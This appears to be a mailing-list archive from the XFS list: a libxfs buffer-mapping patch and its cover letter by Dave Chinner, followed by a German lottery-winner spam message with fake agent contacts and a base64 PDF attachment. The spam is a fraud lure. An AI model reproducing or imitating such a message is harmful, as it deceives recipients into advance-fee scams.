xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 3274A7FA6 for ; Wed, 19 Feb 2014 23:55:50 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id B16E0AC003 for ; Wed, 19 Feb 2014 21:55:46 -0800 (PST) X-ASG-Debug-ID: 1392875740-04cbb00c295e4970001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id xGjXs9n6JSrVjHkj for ; Wed, 19 Feb 2014 21:55:41 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlIGAIGYBVN5LJYe/2dsb2JhbABZgwbCHRd0giUBAQVWMwgYMTkDGxmIBM5AjwGEIgSqVINBKA Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail04.adl6.internode.on.net with ESMTP; 20 Feb 2014 16:25:28 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1WGMbV-00057G-PK for xfs@oss.sgi.com; Thu, 20 Feb 2014 16:55:25 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1WGMbV-0001CD-OK for xfs@oss.sgi.com; Thu, 20 Feb 2014 16:55:25 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 1/2] libxfs: contiguous buffers are not discontigous Date: Thu, 20 Feb 2014 16:55:21 +1100 X-ASG-Orig-Subj: [PATCH 1/2] libxfs: contiguous buffers are not discontigous Message-Id: <1392875722-4390-2-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 In-Reply-To: <1392875722-4390-1-git-send-email-david@fromorbit.com> References: <1392875722-4390-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1392875740 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145306 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner When discontiguous directory buffer support was fixed in xfs_repair, (dd9093d xfs_repair: fix discontiguous directory block support) it changed to using libxfs_getbuf_map() to support mapping discontiguous blocks, and the prefetch code special cased such discontiguous buffers. The issue is that libxfs_getbuf_map() marks all buffers, even contiguous ones - as LIBXFS_B_DISCONTIG, and so the prefetch code was treating every buffer as discontiguous. This causes the prefetch code to completely bypass the large IO optimisations for dense areas of metadata. Because there was no obvious change in performance or IO patterns, this wasn't noticed during performance testing. However, this change mysteriously fixed a regression in xfs/033 in the v3.2.0-alpha release, and this change in behaviour was discovered as part of triaging why it "fixed" the regression. Anyway, restoring the large IO prefetch optimisation results a reapiron a 10 million inode filesystem dropping from 197s to 173s, and the peak IOPS rate in phase 3 dropping from 25,000 to roughly 2,000 by trading off a bandwidth increase of roughly 100% (i.e. 200MB/s to 400MB/s). Phase 4 saw similar changes in IO profile and speed increases. This, however, re-introduces the regression in xfs/033, which will now be fixed in a separate patch. Reported-by: Eric Sandeen Signed-off-by: Dave Chinner --- libxfs/rdwr.c | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/libxfs/rdwr.c b/libxfs/rdwr.c index ac7739f..78a9b37 100644 --- a/libxfs/rdwr.c +++ b/libxfs/rdwr.c @@ -590,6 +590,10 @@ libxfs_getbuf_map(struct xfs_buftarg *btp, struct xfs_buf_map *map, struct xfs_bufkey key = {0}; int i; + if (nmaps == 1) + return libxfs_getbuf_flags(btp, map[0].bm_bn, map[0].bm_len, + flags); + key.buftarg = btp; key.blkno = map[0].bm_bn; for (i = 0; i < nmaps; i++) { -- 1.8.4.rc3 From dave@fromorbit.com Wed Feb 19 23:55:50 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 61F327FAA for ; Wed, 19 Feb 2014 23:55:50 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id EAA8BAC004 for ; Wed, 19 Feb 2014 21:55:49 -0800 (PST) X-ASG-Debug-ID: 1392875740-04cbb00c295e4970002-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id hyEb28JCYtMtznvJ for ; Wed, 19 Feb 2014 21:55:46 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlAGAIGYBVN5LJYe/2dsb2JhbABZgwbCHRd0gwI7gQIDiDidWLBojwGEIgSif4dVg0Eo Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail04.adl6.internode.on.net with ESMTP; 20 Feb 2014 16:25:28 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1WGMbV-00057F-Ol for xfs@oss.sgi.com; Thu, 20 Feb 2014 16:55:25 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1WGMbV-0001CA-NW for xfs@oss.sgi.com; Thu, 20 Feb 2014 16:55:25 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 0/2] xfs_repair: fix xfs/033 issues. Date: Thu, 20 Feb 2014 16:55:20 +1100 X-ASG-Orig-Subj: [PATCH 0/2] xfs_repair: fix xfs/033 issues. Message-Id: <1392875722-4390-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1392875745 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145306 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi folks, Eric reported that there was a regression in v3.2.0-alpha2 where xfs/033 was failing to repair the corrupted root inode. He also discovered that the discontiguous buffer support in xfs_repair fixed it. Turns out that was a regression in xfs_repair covering up another regression in xfs_repair. Two bugs don't make broken code better. The first patch fixes the regression that discontiguous buffer support introduced, re-exposing the original regression so it can be debugged. The second patch fixes the original regression. Cheers, Dave. From antonio.blanco1@aol.com Thu Feb 20 02:13:59 2014 Return-Path: X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D30857FEF for ; Thu, 20 Feb 2014 02:13:59 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id A82028F8073 for ; Thu, 20 Feb 2014 00:13:56 -0800 (PST) X-ASG-Debug-ID: 1392884034-04cbb00c285ed690001-w1Z2WR Received: from mail.vps.com ([138.91.227.98]) by cuda.sgi.com with ESMTP id 6VWrQYZysD2cXfKN for ; Thu, 20 Feb 2014 00:13:55 -0800 (PST) X-Barracuda-Envelope-From: antonio.blanco1@aol.com X-Barracuda-Apparent-Source-IP: 138.91.227.98 Received: from [138.91.227.98] (localhost [IPv6:::1]) by mail.vps.com (Postfix) with ESMTP id 7401621089; Wed, 19 Feb 2014 20:31:11 +0000 (UTC) Received: from 90.174.0.94 (SquirrelMail authenticated user admin) by 138.91.227.98 with HTTP; Wed, 19 Feb 2014 20:31:11 -0000 Message-ID: <439788d267ae3c51d6dabdbb1cd214c1.squirrel@138.91.227.98> Date: Wed, 19 Feb 2014 20:31:11 -0000 Subject: Offizielle sieger From: =?iso-8859-1?Q?=22Antonio_Blanco?==?iso-8859-1?Q?=22?= X-ASG-Orig-Subj: Offizielle sieger Reply-To: winseguros3@aol.com User-Agent: SquirrelMail/1.4.22 MIME-Version: 1.0 Content-Type: multipart/mixed;boundary="----=_20140219203111_82357" X-Priority: 3 (Normal) Importance: Normal To: undisclosed-recipients:; X-Barracuda-Connect: UNKNOWN[138.91.227.98] X-Barracuda-Start-Time: 1392884034 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: -1001.00 X-Barracuda-Spam-Status: No, SCORE=-1001.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 ------=_20140219203111_82357 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit -- Achtung: Öffnen Sie bitte das beigefügte Dokument zum Abrufen ihrer Nachrichten Danke mfg Jesus Blanco Alle Korrespondenten an, Don Juan Gomez (agent) Win Seguros Email: ddongomez@gmail.com, oder juan.gomez@spainmail.com Tel: 0034 631 547 811 Fax: 0034 917 693 077 ***************************************** Der Austausch von Nachrichten per e-mail dient ausschließlich zu Informationszwecken. Deshalb nehmen wir keine rechtlichen Erklärungen des Absenders per e-mail. Die Informationen in dieser Nachricht ist vertraulich und ausschließlich für den Adressaten. Wenn sich der Empfänger dieser Nachricht ist nicht der Adressat, einer seiner Mitarbeiter oder sein bevollmächtigter Vertreter, der Empfänger wird hiermit darauf aufmerksam gemacht, dass er/sie sich nicht mit den Inhalten, offenlegen oder reproduzieren ihren Inhalt. Wenn Sie diese Meldung irrtümlich erhalten haben, benachrichtigen Sie bitte den Absender sofort und löschen Sie die Nachricht von Ihrem System. *********************** Alle Warenzeichen sind Eigentum der jeweiligen Inhaber. >Copyright © 2010-2014. Alle Rechte vorbehalten ------=_20140219203111_82357 Content-Type: application/pdf; name="c.g.euromilion.pdf" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="c.g.euromilion.pdf" JVBERi0xLjUNCiW1tbW1DQoxIDAgb2JqDQo8PC9UeXBlL0NhdGFsb2cvUGFnZXMgMiAwIFIvTGFu Zyhlbi1VUykgPj4NCmVuZG9iag0KMiAwIG9iag0KPDwvVHlwZS9QYWdlcy9Db3VudCAxL0tpZHNb IDMgMCBSXSA+Pg0KZW5kb2JqDQozIDAgb2JqDQo8PC9UeXBlL1BhZ2UvUGFyZW50IDIgMCBSL1Jl c291cmNlczw8L1hPYmplY3Q8PC9JbWFnZTQgNCAwIFIvSW1hZ2U3IDcgMCBSL0ltYWdlOSA5IDAg Ui9JbWFnZTExIDExIDAgUi9JbWFnZTEzIDEzIDAgUi9JbWFnZTE3IDE3IDAgUi9JbWFnZTcxIDcx IDAgUi9JbWFnZTcyIDcyIDAgUi9JbWFnZTc0IDc0IDAgUi9JbWFnZTc1IDc1IDAgUi9JbWFnZTc2 IDc2IDAgUj4+L0V4dEdTdGF0ZTw8L0dTMTUgMTUgMCBSL0dTMTYgMTYgMCBSL0dTMzggMzggMCBS Pj4vRm9udDw8L0YxIDE4IDAgUi9GMiAyMCAwIFIvRjMgMjIgMCBSL0Y0IDI0IDAgUi9GNSAyNiAw IFIvRjYgMjggMCBSL0Y3IDMwIDAgUi9GOCAzMiAwIFI+Pi9QYXR0ZXJuPDwvUDQwIDQwIDAgUi9Q NDIgNDIgMCBSL1A0NCA0NCAwIFIvUDQ2IDQ2IDAgUi9QNDggNDggMCBSL1A1MCA1MCAwIFIvUDUy IDUyIDAgUi9QNTQgNTQgMCBSL1A1NiA1NiAwIFIvUDU4IDU4IDAgUi9QNjAgNjAgMCBSL1A2MiA2 MiAwIFIvUDY0IDY0IDAgUi9QNjYgNjYgMCBSL1A2OCA2OCAwIFIvUDcwIDcwIDAgUj4+L1Byb2NT ZXRbL1BERi9UZXh0L0ltYWdlQi9JbWFnZUMvSW1hZ2VJXSA+Pi9Bbm5vdHNbIDM3IDAgUl0gL01l ZGlhQm94WyAwIDAgNTk1LjMyIDg0MS45Ml0gL0NvbnRlbnRzIDYgMCBSL0dyb3VwPDwvVHlwZS9H cm91cC9TL1RyYW5zcGFyZW5jeS9DUy9EZXZpY2VSR0I+Pi9UYWJzL1M+Pg0KZW5kb2JqDQo0IDAg b2JqDQo8PC9UeXBlL1hPYmplY3QvU3VidHlwZS9JbWFnZS9XaWR0aCAyMjEvSGVpZ2h0IDExOC9D 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 dUzy2GQrtcAyN8ZaDgZf/I95vdo2NRQHlgk7KJPMJCzWY8ZDibt5H8r2a/C+4G1DB/TmLNzDnsN4 dPL+pzifPOwef7mXlseO2Qtw0LhsoiAtj4i/UMsnIZ/bvkHJH9I3rPmo7sn4uLw4m1K9yzDly/TF PxInDKn7QNKNl9XZ+ZiuORxz+M1LbXT3+OMebZVK9UJ9fJqpgYwQ5PY4LcuWLwGDUZZ7a8zzThOm jOR6vW6qc+9RejmS4/JYLTtaTPoTIOvkbHlnkmP94lpytrwzXiZnX8ugHnugV36TlkHwQYvNYwOX 5nC2bNbmNUqSQJ1m/1cc9RA4QZVeLeOZZ/5z179X3vosD7Rl6n00qvu1mO1+1bKWlN+T2uYOHbJX oObQDq7Vsvi/h1mXOVsgr6UXmxdPvHdyfn6jClSLgmKT/2cNbDzUchfWHAa3d6lBDAqMzJbw75/E LY5rWcs0f3Q95X70K1cNMkJmrvDGJbMlqaU3xHbjyvI+ymtZ/5OU9SrZ/bqIN0sWarkTNtveRm/c 5SjfQcsadjA/q1m3OOeZ0NVk95sRkhFmdNVZEjf6rX98LB5lb4yapw3xIi6Xy0DLoAYvYDgx2ru9 Jl/Lg4frVVBDsN7/W3a6W98bJns6t/XcMv7rahknYcDv7+/J7lPLQ4ELVrmvlrBYU614trQB32cR P2CIXhE7BN5g2S3N2pKLuJ0q5ZxZ/i7KmbveJnHdASPJ9HRES5o5DswtpCDlJOvy172Iey2qv69r K/em04K0VH9ndaT7U3g7JBkheQ7mjYtkk5a7tFjQV05yb7OJQS1hbdRyHLi0eeNSwqE5aLbMOACL xYerSjLBJOOhluPINEpVyu0QXC6X4n8nPt1+L2wHC7abMcFrSwYftyu3Byec6vCCTqRrQ/BjBBUP IYQQQgghhBBCCCGEEEIIIYQQQgghT8FMjufRg4z5D3vNxb8NCmVuZHN0cmVhbQ0KZW5kb2JqDQo1 IDAgb2JqDQo8PC9UeXBlL1hPYmplY3QvU3VidHlwZS9JbWFnZS9XaWR0aCAyMjEvSGVpZ2h0IDEx OC9Db2xvclNwYWNlL0RldmljZUdyYXkvTWF0dGVbIDAgMCAwXSAvQml0c1BlckNvbXBvbmVudCA4 L0ludGVycG9sYXRlIGZhbHNlL0ZpbHRlci9GbGF0ZURlY29kZS9MZW5ndGggMTAzNT4+DQpzdHJl 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 